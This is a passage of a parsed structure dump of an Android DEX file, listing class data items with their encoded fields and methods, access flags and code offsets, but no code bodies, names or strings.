    00087ffb access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00087ffc code_off uint32 0x4580c
    00087fff
    00087fff struct class_data_item
    00087fff static_fields_size int 0
    00088000 instance_fields_size int 0
    00088001 direct_methods_size int 9
    00088002 virtual_methods_size int 0
    00088003
    00088003 struct encoded_method
    00088003 method_idx_diff int 0x108d8
    00088005 access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    00088006 code_off uint32 0x45854
    00088009
    00088009 struct encoded_method
    00088009 method_idx_diff int 0x108e0
    0008800a access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    0008800b code_off uint32 0x458b4
    0008800e
    0008800e struct encoded_method
    0008800e method_idx_diff int 0x108e8
    0008800f access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    00088010 code_off uint32 0x45954
    00088013
    00088013 struct encoded_method
    00088013 method_idx_diff int 0x108f0
    00088014 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088015 code_off uint32 0x45978
    00088018
    00088018 struct encoded_method
    00088018 method_idx_diff int 0x108f8
    00088019 access_flags uint32 0x00000008 ; ACC_STATIC
    0008801a code_off uint32 0x459e4
    0008801d
    0008801d struct encoded_method
    0008801d method_idx_diff int 0x10900
    0008801e access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    0008801f code_off uint32 0x45a34
    00088022
    00088022 struct encoded_method
    00088022 method_idx_diff int 0x10908
    00088023 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088024 code_off uint32 0x45af0
    00088027
    00088027 struct encoded_method
    00088027 method_idx_diff int 0x10910
    00088028 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088029 code_off uint32 0x45b30
    0008802c
    0008802c struct encoded_method
    0008802c method_idx_diff int 0x10918
    0008802d access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    0008802e code_off uint32 0x45b90
    00088031
    00088031 struct class_data_item
    00088031 static_fields_size int 0
    00088032 instance_fields_size int 0
    00088033 direct_methods_size int 5
    00088034 virtual_methods_size int 0
    00088035
    00088035 struct encoded_method
    00088035 method_idx_diff int 0x10920
    00088037 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088038 code_off uint32 0x45c90
    0008803b
    0008803b struct encoded_method
    0008803b method_idx_diff int 0x10928
    0008803c access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    0008803d code_off uint32 0x45cb8
    00088040
    00088040 struct encoded_method
    00088040 method_idx_diff int 0x10930
    00088041 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088042 code_off uint32 0x45ce0
    00088045
    00088045 struct encoded_method
    00088045 method_idx_diff int 0x10938
    00088046 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088047 code_off uint32 0x45d08
    0008804a
    0008804a struct encoded_method
    0008804a method_idx_diff int 0x10940
    0008804b access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    0008804c code_off uint32 0x45d30
    0008804f
    0008804f struct class_data_item
    0008804f static_fields_size int 0
    00088050 instance_fields_size int 3
    00088051 direct_methods_size int 2
    00088052 virtual_methods_size int 5
    00088053
    00088053 struct encoded_field
    00088053 field_idx_diff int 0x99e8
    00088055 access_flags uint32 0x00000004 ; ACC_PROTECTED
    00088056
    00088056 struct encoded_field
    00088056 field_idx_diff int 0x99f0
    00088057 access_flags uint32 0x00000000
    00088058
    00088058 struct encoded_field
    00088058 field_idx_diff int 0x99f8
    00088059 access_flags uint32 0x00000000
    0008805a
    0008805a struct encoded_method
    0008805a method_idx_diff int 0x10bc0
    0008805c access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    0008805f code_off uint32 0x46b7c
    00088062
    00088062 struct encoded_method
    00088062 method_idx_diff int 0x10bc8
    00088063 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00088066 code_off uint32 0x46b9c
    00088069
    00088069 struct encoded_method
    00088069 method_idx_diff int 0x10bd0
    0008806b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008806c code_off uint32 0x46bdc
    0008806f
    0008806f struct encoded_method
    0008806f method_idx_diff int 0x10bd8
    00088070 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088071 code_off uint32 0x46c08
    00088074
    00088074 struct encoded_method
    00088074 method_idx_diff int 0x10be0
    00088075 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088076 code_off uint32 0x46c1c
    00088079
    00088079 struct encoded_method
    00088079 method_idx_diff int 0x10be8
    0008807a access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008807b code_off uint32 0x46c34
    0008807e
    0008807e struct encoded_method
    0008807e method_idx_diff int 0x10bf0
    0008807f access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088080 code_off uint32 0x46c4c
    00088083
    00088083 struct class_data_item
    00088083 static_fields_size int 0
    00088084 instance_fields_size int 0
    00088085 direct_methods_size int 3
    00088086 virtual_methods_size int 2
    00088087
    00088087 struct encoded_method
    00088087 method_idx_diff int 0x10a20
    00088089 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    0008808c code_off uint32 0x460ac
    0008808f
    0008808f struct encoded_method
    0008808f method_idx_diff int 0x10a28
    00088090 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00088093 code_off uint32 0x460c4
    00088096
    00088096 struct encoded_method
    00088096 method_idx_diff int 0x10a38
    00088097 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088098 code_off uint32 0x460dc
    0008809b
    0008809b struct encoded_method
    0008809b method_idx_diff int 0x10a30
    0008809d access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008809e code_off uint32 0x4611c
    000880a1
    000880a1 struct encoded_method
    000880a1 method_idx_diff int 0x10a40
    000880a2 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000880a3 code_off uint32 0x46158
    000880a6
    000880a6 struct class_data_item
    000880a6 static_fields_size int 0
    000880a7 instance_fields_size int 13
    000880a8 direct_methods_size int 5
    000880a9 virtual_methods_size int 17
    000880aa
    000880aa struct encoded_field
    000880aa field_idx_diff int 0x9900
    000880ab access_flags uint32 0x00000000
    000880ac
    000880ac struct encoded_field
    000880ac field_idx_diff int 0x9908
    000880ad access_flags uint32 0x00000000
    000880ae
    000880ae struct encoded_field
    000880ae field_idx_diff int 0x9910
    000880af access_flags uint32 0x00000000
    000880b0
    000880b0 struct encoded_field
    000880b0 field_idx_diff int 0x9918
    000880b1 access_flags uint32 0x00000000
    000880b2
    000880b2 struct encoded_field
    000880b2 field_idx_diff int 0x9920
    000880b3 access_flags uint32 0x00000000
    000880b4
    000880b4 struct encoded_field
    000880b4 field_idx_diff int 0x9928
    000880b5 access_flags uint32 0x00000000
    000880b6
    000880b6 struct encoded_field
    000880b6 field_idx_diff int 0x9930
    000880b7 access_flags uint32 0x00000000
    000880b8
    000880b8 struct encoded_field
    000880b8 field_idx_diff int 0x9938
    000880b9 access_flags uint32 0x00000000
    000880ba
    000880ba struct encoded_field
    000880ba field_idx_diff int 0x9940
    000880bb access_flags uint32 0x00000000
    000880bc
    000880bc struct encoded_field
    000880bc field_idx_diff int 0x9948
    000880bd access_flags uint32 0x00000000
    000880be
    000880be struct encoded_field
    000880be field_idx_diff int 0x9950
    000880bf access_flags uint32 0x00000000
    000880c0
    000880c0 struct encoded_field
    000880c0 field_idx_diff int 0x9958
    000880c1 access_flags uint32 0x00000000
    000880c2
    000880c2 struct encoded_field
    000880c2 field_idx_diff int 0x9978
    000880c3 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000880c4
    000880c4 struct encoded_method
    000880c4 method_idx_diff int 0x10a50
    000880c6 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    000880c9 code_off uint32 0x4616c
    000880cc
    000880cc struct encoded_method
    000880cc method_idx_diff int 0x10a58
    000880cd access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    000880d0 code_off uint32 0x461c4
    000880d3
    000880d3 struct encoded_method
    000880d3 method_idx_diff int 0x10a60
    000880d4 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000880d5 code_off uint32 0x46284
    000880d8
    000880d8 struct encoded_method
    000880d8 method_idx_diff int 0x10a68
    000880d9 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000880da code_off uint32 0x462c4
    000880dd
    000880dd struct encoded_method
    000880dd method_idx_diff int 0x10a78
    000880de access_flags uint32 0x00000002 ; ACC_PRIVATE
    000880df code_off uint32 0x46304
    000880e2
    000880e2 struct encoded_method
    000880e2 method_idx_diff int 0x10a70
    000880e4 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000880e5 code_off uint32 0x46468
    000880e8
    000880e8 struct encoded_method
    000880e8 method_idx_diff int 0x10a80
    000880e9 access_flags uint32 0x00000000
    000880ea code_off uint32 0x46494
    000880ed
    000880ed struct encoded_method
    000880ed method_idx_diff int 0x10a88
    000880ee access_flags uint32 0x00000000
    000880ef code_off uint32 0x464ac
    000880f2
    000880f2 struct encoded_method
    000880f2 method_idx_diff int 0x10a98
    000880f3 access_flags uint32 0x00000000
    000880f4 code_off uint32 0x464c4
    000880f7
    000880f7 struct encoded_method
    000880f7 method_idx_diff int 0x10aa0
    000880f8 access_flags uint32 0x00000000
    000880f9 code_off uint32 0x464dc
    000880fc
    000880fc struct encoded_method
    000880fc method_idx_diff int 0x10aa8
    000880fd access_flags uint32 0x00000000
    000880fe code_off uint32 0x464f4
    00088101
    00088101 struct encoded_method
    00088101 method_idx_diff int 0x10ab0
    00088102 access_flags uint32 0x00000000
    00088103 code_off uint32 0x4650c
    00088106
    00088106 struct encoded_method
    00088106 method_idx_diff int 0x10ab8
    00088107 access_flags uint32 0x00000000
    00088108 code_off uint32 0x46524
    0008810b
    0008810b struct encoded_method
    0008810b method_idx_diff int 0x10ac0
    0008810c access_flags uint32 0x00000000
    0008810d code_off uint32 0x4653c
    00088110
    00088110 struct encoded_method
    00088110 method_idx_diff int 0x10ac8
    00088111 access_flags uint32 0x00000000
    00088112 code_off uint32 0x46554
    00088115
    00088115 struct encoded_method
    00088115 method_idx_diff int 0x10ad0
    00088116 access_flags uint32 0x00000000
    00088117 code_off uint32 0x4656c
    0008811a
    0008811a struct encoded_method
    0008811a method_idx_diff int 0x10ad8
    0008811b access_flags uint32 0x00000000
    0008811c code_off uint32 0x46584
    0008811f
    0008811f struct encoded_method
    0008811f method_idx_diff int 0x10ae0
    00088120 access_flags uint32 0x00000000
    00088121 code_off uint32 0x4659c
    00088124
    00088124 struct encoded_method
    00088124 method_idx_diff int 0x10ae8
    00088125 access_flags uint32 0x00000000
    00088126 code_off uint32 0x465b4
    00088129
    00088129 struct encoded_method
    00088129 method_idx_diff int 0x10af0
    0008812a access_flags uint32 0x00000000
    0008812b code_off uint32 0x465cc
    0008812e
    0008812e struct encoded_method
    0008812e method_idx_diff int 0x10af8
    0008812f access_flags uint32 0x00000000
    00088130 code_off uint32 0x465e4
    00088133
    00088133 struct encoded_method
    00088133 method_idx_diff int 0x10b00
    00088134 access_flags uint32 0x00000000
    00088135 code_off uint32 0x465fc
    00088138
    00088138 struct class_data_item
    00088138 static_fields_size int 0
    00088139 instance_fields_size int 13
    0008813a direct_methods_size int 6
    0008813b virtual_methods_size int 17
    0008813c
    0008813c struct encoded_field
    0008813c field_idx_diff int 0x9980
    0008813e access_flags uint32 0x00000010 ; ACC_FINAL
    0008813f
    0008813f struct encoded_field
    0008813f field_idx_diff int 0x9988
    00088140 access_flags uint32 0x00000000
    00088141
    00088141 struct encoded_field
    00088141 field_idx_diff int 0x9990
    00088142 access_flags uint32 0x00000000
    00088143
    00088143 struct encoded_field
    00088143 field_idx_diff int 0x9998
    00088144 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    00088145
    00088145 struct encoded_field
    00088145 field_idx_diff int 0x99a0
    00088146 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088147
    00088147 struct encoded_field
    00088147 field_idx_diff int 0x99a8
    00088148 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088149
    00088149 struct encoded_field
    00088149 field_idx_diff int 0x99b0
    0008814a access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008814b
    0008814b struct encoded_field
    0008814b field_idx_diff int 0x99b8
    0008814c access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008814d
    0008814d struct encoded_field
    0008814d field_idx_diff int 0x99c0
    0008814e access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008814f
    0008814f struct encoded_field
    0008814f field_idx_diff int 0x99c8
    00088150 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088151
    00088151 struct encoded_field
    00088151 field_idx_diff int 0x99d0
    00088152 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    00088153
    00088153 struct encoded_field
    00088153 field_idx_diff int 0x99d8
    00088154 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088155
    00088155 struct encoded_field
    00088155 field_idx_diff int 0x99e0
    00088156 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088157
    00088157 struct encoded_method
    00088157 method_idx_diff int 0x10b08
    00088159 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    0008815c code_off uint32 0x46614
    0008815f
    0008815f struct encoded_method
    0008815f method_idx_diff int 0x10b10
    00088160 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00088163 code_off uint32 0x46680
    00088166
    00088166 struct encoded_method
    00088166 method_idx_diff int 0x10b18
    00088167 access_flags uint32 0x00001008 ; ACC_STATIC|ACC_SYNTHETIC
    00088169 code_off uint32 0x467f8
    0008816c
    0008816c struct encoded_method
    0008816c method_idx_diff int 0x10b20
    0008816d access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008816e code_off uint32 0x46810
    00088171
    00088171 struct encoded_method
    00088171 method_idx_diff int 0x10b30
    00088172 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088173 code_off uint32 0x46884
    00088176
    00088176 struct encoded_method
    00088176 method_idx_diff int 0x10b38
    00088177 access_flags uint32 0x00001008 ; ACC_STATIC|ACC_SYNTHETIC
    00088179 code_off uint32 0x46948
    0008817c
    0008817c struct encoded_method
    0008817c method_idx_diff int 0x10b28
    0008817e access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008817f code_off uint32 0x46960
    00088182
    00088182 struct encoded_method
    00088182 method_idx_diff int 0x10b40
    00088183 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088184 code_off uint32 0x4698c
    00088187
    00088187 struct encoded_method
    00088187 method_idx_diff int 0x10b48
    00088188 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088189 code_off uint32 0x469a4
    0008818c
    0008818c struct encoded_method
    0008818c method_idx_diff int 0x10b50
    0008818d access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008818e code_off uint32 0x469bc
    00088191
    00088191 struct encoded_method
    00088191 method_idx_diff int 0x10b58
    00088192 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088193 code_off uint32 0x469d4
    00088196
    00088196 struct encoded_method
    00088196 method_idx_diff int 0x10b60
    00088197 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088198 code_off uint32 0x469ec
    0008819b
    0008819b struct encoded_method
    0008819b method_idx_diff int 0x10b68
    0008819c access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008819d code_off uint32 0x46a04
    000881a0
    000881a0 struct encoded_method
    000881a0 method_idx_diff int 0x10b70
    000881a1 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000881a2 code_off uint32 0x46a1c
    000881a5
    000881a5 struct encoded_method
    000881a5 method_idx_diff int 0x10b78
    000881a6 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000881a7 code_off uint32 0x46a34
    000881aa
    000881aa struct encoded_method
    000881aa method_idx_diff int 0x10b80
    000881ab access_flags uint32 0x00000001 ; ACC_PUBLIC
    000881ac code_off uint32 0x46a4c
    000881af
    000881af struct encoded_method
    000881af method_idx_diff int 0x10b88
    000881b0 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000881b1 code_off uint32 0x46a64
    000881b4
    000881b4 struct encoded_method
    000881b4 method_idx_diff int 0x10b90
    000881b5 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000881b6 code_off uint32 0x46a8c
    000881b9
    000881b9 struct encoded_method
    000881b9 method_idx_diff int 0x10b98
    000881ba access_flags uint32 0x00000001 ; ACC_PUBLIC
    000881bb code_off uint32 0x46ab4
    000881be
    000881be struct encoded_method
    000881be method_idx_diff int 0x10ba0
    000881bf access_flags uint32 0x00000001 ; ACC_PUBLIC
    000881c0 code_off uint32 0x46adc
    000881c3
    000881c3 struct encoded_method
    000881c3 method_idx_diff int 0x10ba8
    000881c4 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000881c5 code_off uint32 0x46b04
    000881c8
    000881c8 struct encoded_method
    000881c8 method_idx_diff int 0x10bb0
    000881c9 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000881ca code_off uint32 0x46b2c
    000881cd
    000881cd struct encoded_method
    000881cd method_idx_diff int 0x10bb8
    000881ce access_flags uint32 0x00000001 ; ACC_PUBLIC
    000881cf code_off uint32 0x46b54
    000881d2
    000881d2 struct class_data_item
    000881d2 static_fields_size int 1
    000881d3 instance_fields_size int 15
    000881d4 direct_methods_size int 11
    000881d5 virtual_methods_size int 5
    000881d6
    000881d6 struct encoded_field
    000881d6 field_idx_diff int 0x9a50
    000881d8 access_flags uint32 0x0000001a ; ACC_PRIVATE|ACC_STATIC|ACC_FINAL
    000881d9
    000881d9 struct encoded_field
    000881d9 field_idx_diff int 0x9a00
    000881db access_flags uint32 0x00000010 ; ACC_FINAL
    000881dc
    000881dc struct encoded_field
    000881dc field_idx_diff int 0x9a08
    000881dd access_flags uint32 0x00000000
    000881de
    000881de struct encoded_field
    000881de field_idx_diff int 0x9a10
    000881df access_flags uint32 0x00000000
    000881e0
    000881e0 struct encoded_field
    000881e0 field_idx_diff int 0x9a18
    000881e1 access_flags uint32 0x00000000
    000881e2
    000881e2 struct encoded_field
    000881e2 field_idx_diff int 0x9a20
    000881e3 access_flags uint32 0x00000000
    000881e4
    000881e4 struct encoded_field
    000881e4 field_idx_diff int 0x9a28
    000881e5 access_flags uint32 0x00000000
    000881e6
    000881e6 struct encoded_field
    000881e6 field_idx_diff int 0x9a30
    000881e7 access_flags uint32 0x00000000
    000881e8
    000881e8 struct encoded_field
    000881e8 field_idx_diff int 0x9a38
    000881e9 access_flags uint32 0x00000010 ; ACC_FINAL
    000881ea
    000881ea struct encoded_field
    000881ea field_idx_diff int 0x9a40
    000881eb access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    000881ec
    000881ec struct encoded_field
    000881ec field_idx_diff int 0x9a48
    000881ed access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    000881ee
    000881ee struct encoded_field
    000881ee field_idx_diff int 0x9a58
    000881ef access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    000881f0
    000881f0 struct encoded_field
    000881f0 field_idx_diff int 0x9a60
    000881f1 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000881f2
    000881f2 struct encoded_field
    000881f2 field_idx_diff int 0x9a68
    000881f3 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000881f4
    000881f4 struct encoded_field
    000881f4 field_idx_diff int 0x9a70
    000881f5 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000881f6
    000881f6 struct encoded_field
    000881f6 field_idx_diff int 0x9a78
    000881f7 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000881f8
    000881f8 struct encoded_method
    000881f8 method_idx_diff int 0x10bf8
    000881fa access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    000881fd code_off uint32 0x46c88
    00088200
    00088200 struct encoded_method
    00088200 method_idx_diff int 0x10c00
    00088201 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00088204 code_off uint32 0x46ca8
    00088207
    00088207 struct encoded_method
    00088207 method_idx_diff int 0x10c08
    00088208 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    0008820b code_off uint32 0x46d28
    0008820e
    0008820e struct encoded_method
    0008820e method_idx_diff int 0x10c10
    0008820f access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    00088210 code_off uint32 0x46e04
    00088213
    00088213 struct encoded_method
    00088213 method_idx_diff int 0x10c18
    00088214 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088215 code_off uint32 0x46e20
    00088218
    00088218 struct encoded_method
    00088218 method_idx_diff int 0x10c20
    00088219 access_flags uint32 0x00001008 ; ACC_STATIC|ACC_SYNTHETIC
    0008821b code_off uint32 0x46ec8
    0008821e
    0008821e struct encoded_method
    0008821e method_idx_diff int 0x10c28
    0008821f access_flags uint32 0x00001008 ; ACC_STATIC|ACC_SYNTHETIC
    00088221 code_off uint32 0x46ee0
    00088224
    00088224 struct encoded_method
    00088224 method_idx_diff int 0x10c38
    00088225 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088226 code_off uint32 0x46ef8
    00088229
    00088229 struct encoded_method
    00088229 method_idx_diff int 0x10c40
    0008822a access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008822b code_off uint32 0x46fa8
    0008822e
    0008822e struct encoded_method
    0008822e method_idx_diff int 0x10c48
    0008822f access_flags uint32 0x00001008 ; ACC_STATIC|ACC_SYNTHETIC
    00088231 code_off uint32 0x471f8
    00088234
    00088234 struct encoded_method
    00088234 method_idx_diff int 0x10c50
    00088235 access_flags uint32 0x00001008 ; ACC_STATIC|ACC_SYNTHETIC
    00088237 code_off uint32 0x47210
    0008823a
    0008823a struct encoded_method
    0008823a method_idx_diff int 0x10c30
    0008823c access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008823d code_off uint32 0x47228
    00088240
    00088240 struct encoded_method
    00088240 method_idx_diff int 0x10c58
    00088241 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088242 code_off uint32 0x47254
    00088245
    00088245 struct encoded_method
    00088245 method_idx_diff int 0x10c60
    00088246 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088247 code_off uint32 0x47278
    0008824a
    0008824a struct encoded_method
    0008824a method_idx_diff int 0x10c68
    0008824b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008824c code_off uint32 0x47290
    0008824f
    0008824f struct encoded_method
    0008824f method_idx_diff int 0x10c70
    00088250 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088251 code_off uint32 0x472b4
    00088254
    00088254 struct class_data_item
    00088254 static_fields_size int 0
    00088255 instance_fields_size int 12
    00088256 direct_methods_size int 2
    00088257 virtual_methods_size int 11
    00088258
    00088258 struct encoded_field
    00088258 field_idx_diff int 0x9a80
    0008825a access_flags uint32 0x00000000
    0008825b
    0008825b struct encoded_field
    0008825b field_idx_diff int 0x9a88
    0008825c access_flags uint32 0x00000000
    0008825d
    0008825d struct encoded_field
    0008825d field_idx_diff int 0x9a90
    0008825e access_flags uint32 0x00000000
    0008825f
    0008825f struct encoded_field
    0008825f field_idx_diff int 0x9a98
    00088260 access_flags uint32 0x00000000
    00088261
    00088261 struct encoded_field
    00088261 field_idx_diff int 0x9aa0
    00088262 access_flags uint32 0x00000000
    00088263
    00088263 struct encoded_field
    00088263 field_idx_diff int 0x9aa8
    00088264 access_flags uint32 0x00000000
    00088265
    00088265 struct encoded_field
    00088265 field_idx_diff int 0x9ab0
    00088266 access_flags uint32 0x00000000
    00088267
    00088267 struct encoded_field
    00088267 field_idx_diff int 0x9ab8
    00088268 access_flags uint32 0x00000000
    00088269
    00088269 struct encoded_field
    00088269 field_idx_diff int 0x9ac0
    0008826a access_flags uint32 0x00000000
    0008826b
    0008826b struct encoded_field
    0008826b field_idx_diff int 0x9ac8
    0008826c access_flags uint32 0x00000000
    0008826d
    0008826d struct encoded_field
    0008826d field_idx_diff int 0x9ad0
    0008826e access_flags uint32 0x00000000
    0008826f
    0008826f struct encoded_field
    0008826f field_idx_diff int 0x9ad8
    00088270 access_flags uint32 0x00000000
    00088271
    00088271 struct encoded_method
    00088271 method_idx_diff int 0x10c78
    00088273 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00088276 code_off uint32 0x472cc
    00088279
    00088279 struct encoded_method
    00088279 method_idx_diff int 0x10c80
    0008827a access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    0008827d code_off uint32 0x47300
    00088280
    00088280 struct encoded_method
    00088280 method_idx_diff int 0x10c88
    00088282 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088283 code_off uint32 0x473bc
    00088286
    00088286 struct encoded_method
    00088286 method_idx_diff int 0x10c90
    00088287 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088288 code_off uint32 0x47428
    0008828b
    0008828b struct encoded_method
    0008828b method_idx_diff int 0x10c98
    0008828c access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008828d code_off uint32 0x47460
    00088290
    00088290 struct encoded_method
    00088290 method_idx_diff int 0x10ca0
    00088291 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088292 code_off uint32 0x47488
    00088295
    00088295 struct encoded_method
    00088295 method_idx_diff int 0x10ca8
    00088296 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088297 code_off uint32 0x474b4
    0008829a
    0008829a struct encoded_method
    0008829a method_idx_diff int 0x10cb0
    0008829b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008829c code_off uint32 0x474f0
    0008829f
    0008829f struct encoded_method
    0008829f method_idx_diff int 0x10cb8
    000882a0 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000882a1 code_off uint32 0x47548
    000882a4
    000882a4 struct encoded_method
    000882a4 method_idx_diff int 0x10cc0
    000882a5 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000882a6 code_off uint32 0x47588
    000882a9
    000882a9 struct encoded_method
    000882a9 method_idx_diff int 0x10cc8
    000882aa access_flags uint32 0x00000001 ; ACC_PUBLIC
    000882ab code_off uint32 0x475c0
    000882ae
    000882ae struct encoded_method
    000882ae method_idx_diff int 0x10cd0
    000882af access_flags uint32 0x00000001 ; ACC_PUBLIC
    000882b0 code_off uint32 0x475d8
    000882b3
    000882b3 struct encoded_method
    000882b3 method_idx_diff int 0x10cd8
    000882b4 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000882b5 code_off uint32 0x475f4
    000882b8
    000882b8 struct class_data_item
    000882b8 static_fields_size int 0
    000882b9 instance_fields_size int 1
    000882ba direct_methods_size int 1
    000882bb virtual_methods_size int 5
    000882bc
    000882bc struct encoded_field
    000882bc field_idx_diff int 0x9ae0
    000882be access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    000882bf
    000882bf struct encoded_method
    000882bf method_idx_diff int 0x10ce0
    000882c1 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    000882c4 code_off uint32 0x47610
    000882c7
    000882c7 struct encoded_method
    000882c7 method_idx_diff int 0x10ce8
    000882c9 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000882ca code_off uint32 0x4762c
    000882cd
    000882cd struct encoded_method
    000882cd method_idx_diff int 0x10cf0
    000882ce access_flags uint32 0x00000001 ; ACC_PUBLIC
    000882cf code_off uint32 0x4764c
    000882d2
    000882d2 struct encoded_method
    000882d2 method_idx_diff int 0x10cf8
    000882d3 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000882d4 code_off uint32 0x4766c
    000882d7
    000882d7 struct encoded_method
    000882d7 method_idx_diff int 0x10d00
    000882d8 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000882d9 code_off uint32 0x4769c
    000882dc
    000882dc struct encoded_method
    000882dc method_idx_diff int 0x10d08
    000882dd access_flags uint32 0x00000001 ; ACC_PUBLIC
    000882de code_off uint32 0x476cc
    000882e1
    000882e1 struct class_data_item
    000882e1 static_fields_size int 1
    000882e2 instance_fields_size int 9
    000882e3 direct_methods_size int 10
    000882e4 virtual_methods_size int 44
    000882e5
    000882e5 struct encoded_field
    000882e5 field_idx_diff int 0x9ae8
    000882e7 access_flags uint32 0x00000018 ; ACC_STATIC|ACC_FINAL
    000882e8
    000882e8 struct encoded_field
    000882e8 field_idx_diff int 0x9af8
    000882ea access_flags uint32 0x00000002 ; ACC_PRIVATE
    000882eb
    000882eb struct encoded_field
    000882eb field_idx_diff int 0x9b00
    000882ec access_flags uint32 0x00000002 ; ACC_PRIVATE
    000882ed
    000882ed struct encoded_field
    000882ed field_idx_diff int 0x9b08
    000882ee access_flags uint32 0x00000002 ; ACC_PRIVATE
    000882ef
    000882ef struct encoded_field
    000882ef field_idx_diff int 0x9b10
    000882f0 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000882f1
    000882f1 struct encoded_field
    000882f1 field_idx_diff int 0x9b18
    000882f2 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000882f3
    000882f3 struct encoded_field
    000882f3 field_idx_diff int 0x9b20
    000882f4 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000882f5
    000882f5 struct encoded_field
    000882f5 field_idx_diff int 0x9b28
    000882f6 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    000882f7
    000882f7 struct encoded_field
    000882f7 field_idx_diff int 0x9b30
